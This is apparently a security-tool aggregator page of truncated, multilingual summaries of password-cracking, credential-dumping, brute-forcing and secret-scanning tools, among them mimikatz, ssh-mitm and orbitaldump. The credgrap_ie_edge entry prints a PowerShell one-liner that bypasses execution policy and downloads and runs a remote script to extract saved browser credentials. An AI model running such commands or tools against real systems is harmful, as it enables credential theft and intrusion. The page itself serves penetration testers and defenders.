Pwdlyser

Pwdlyser パブリックリリース用の新しいリポジトリ Pwdlyser P assw ord -Analyser は、セキュリティ専門家や組織がセキュリティ体制を改善するために、Active Directory...

gitleaks

Gitleaks ┌─○───┐ │ │╲ │ │ │ ○ │ │ ○ ░ │ └─░───┘ root@kitploit: !WARNING Gitleaksは機能完成しています。新機能のマージは行いません。今後のリリースはセキュリティパッチのみとなります。私はBetterleaksに注力しています。 license: https://raw.githubusercontent.com/gitleaks/gitleaks/master/LICENSE badge-license:...

Wifi-Dumper

Wifi-Dumper 这是一个开源工具，用于导出 Windows 机器上已连接接入点的 WiFi 配置文件及明文密码。该工具将帮助您进行 WiFi 测试。此外，它在执行红队或内部基础设施安全评估时也很有用。 功能 选项 1： 显示系统可用的无线网络。如果指定了接口名称，则仅列出该接口上的网络；否则，列出系统可见的所有网络。 选项 2： 显示系统上配置的无线网络配置文件列表。 选项 3： 显示允许和阻止的无线网络列表。 选项 4： 显示系统上所有无线 LAN 接口的列表。 选项 5： 为系统上每个无线接入点配置文件生成详细报告。组策略配置文件为只读，用户配置文件可读可写，且可更改优先级顺...

credgrap_ie_edge

credgrapieedge 内容: Internet Explorer および Edge から保存された認証情報を抽出する Author: Florian Hansemann | @HanseSecure | https://hansesecure.de 日付: 04/2018 使い方 powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" 推奨事項 Powershell ソリューション...

RemotePasswordWiFi

RemotePasswordWiFi 通过默认密码获取远程路由器密码。 支持的路由器： Thomson Thechnicolor 即将支持： bee cisco...

Locky

Locky Lockyは「本当に」強力でありながら覚えやすいパスワードを生成します。 Lockyが生成するパスワードには以下の特徴があります: 20文字以上 非常に高いエントロピー 覚えやすい 単語間のパディング カスタム要素（名前） そのため、パスワードはブルートフォースできず、推測できず、忘れることもありません。 互換性 Lockyはpython2とpython threeの両方に対応しています。 Lockyで使用されるライブラリは次のとおりです: random sys math...

orbitaldump

OrbitalDump A simple multi-threaded distributed SSH brute-forcing tool written in Python. How it Works When the script is executed without the --proxies switch, it acts just like any other multi-threaded SSH brute-forcing scripts. When the --proxies switch is added, the script pulls a list usuall...

psudohash

psudohash Cool New Features of v1.1.0 Special thanks to DavidAngelos: ▶️ Added a progress bar in every step to track execution. ▶️ Added options: In-order joins -i / --inorder: join keywords only in the original order e.g. foo,bar,baz → foo, bar, baz, foobar, foobaz, barbaz, foobarbaz. All-order...

mimikatz

mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. root@kitploit:...

ssh-auditor

SSH Auditor Features ssh-auditor will automatically: Re-check all known hosts as new credentials are added. It will only check the new credentials. Queue a full credential scan on any new host discovered. Queue a full credential scan on any known host whose ssh version or key fingerprint changes...

ad-password-protection

Lithnet Password Protection for Active Directory LPP は、組織が全てのActive Directoryアカウントに強力なパスワードを確実に設定できるようにするためのオプションを強化します。 LPP は Active Directory サーバーにインストールするモジュールで、パスワードフィルター を使用して、ユーザーがパスワードを変更しようとする際に検査します。グループポリシーを使用して、それらのパスワードに対して実行するチェックの種類をカスタマイズし、拒否または承認され、ディレクトリにコミットされます。 LPP...

Probable-Wordlists

Probable Wordlists - Version 2.0 Do you know what the world's most common passwords are? Do you know what they look like? You'll want to avoid them to be secure! Thinking of Cloning? This repository does not contain code, but links to a group of lists. A clone may not be necessary to get the file...

cve-2019-6693

FortiGate パスワード復号スクリプト - CVE-2019-6693 🔐 標準の暗号化キーにアクセスできる、またはその知識を持つ認可されたリモートユーザーは、FortiOS バックアップファイル、およびすべての非管理者パスワード、秘密鍵、High Availability（HA）パスワードにアクセスして復号化できる可能性があります。 概要 この Python スクリプトは、FortiGate の暗号化方式で暗号化されたパスワードを復元するために設計されています。FortiOS 設定ファイルに保存されているユーザーパスワードと High...

proxychains-ng

ProxyChains-NG ver 4.17 README ProxyChains is a UNIX program, that hooks network-related libc functions in DYNAMICALLY LINKED programs via a preloaded DLL dlsym, LDPRELOAD and redirects the connections through SOCKS4a/5 or HTTP proxies. It supports TCP only no UDP/ICMP etc. The way it works is...

Genzai

Genzai IoTセキュリティツールキット 説明 • 機能 • セットアップと使い方 • 謝辞 • 連絡先 説明 Genzaiは、入力として提供された単一または複数のターゲットにわたってIoT（モノのインターネット）関連のダッシュボードを特定し、さらにそれらをスキャンしてデフォルトパスワードの問題やパスとバージョンに基づく潜在的な脆弱性を調査します。...

pantagrule

Pantagrule 侵害されたパスワードから生成された巨大なhashcatルールセット プロジェクトメンテナンス注意 : このプロジェクトは完了 とみなされています。このプロジェクトへのプルリクエストや変更は、実際のバグや新しいバージョンのhashcatでこれらのルールを動作させるための移行を除き、今後行われません。...

emploleaks

EmploLeaks EmploLeaks is an OSINT Open Source Intelligence tool with a CLI interface, designed to discover and correlate information about employees of a target company. It allows collecting LinkedIn profiles, generating potential corporate emails, searching for leaked credentials in leak databas...

DumpsterDiver

DumpsterDiver（作成者：@Rzepsky） DumpsterDiver は、大量のデータを分析し、AWS Access Key、Azure Share Key、SSHキーなどのキーやパスワードといったハードコードされたシークレットを検索するツールです。また、単純な条件（例：少なくとも10件のメールアドレスを含むCSVファイルのみを報告する）を用いた単純な検索ルールを作成することもできます。 このツールの主なアイデアは、潜在的なシークレット漏洩を検出することです。実際の動作はデモビデオでご覧いただけます。また、すべての機能についてはこちらの記事をお読みください。 主な機能：...

knowsmore

Knows More KnowsMore officially supports Python 3.8+. Main features Import NTLM Hashes from .ntds output txt file generated by CrackMapExec or secretsdump.py Import NTLM Hashes from NTDS.dit and SYSTEM Import Cracked NTLM hashes from hashcat output file Import BloodHound ZIP or JSON file BloodHou...

ssh-mitm

SSH MITM v2.3-dev Author: Joe Testa @therealjoetesta Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and...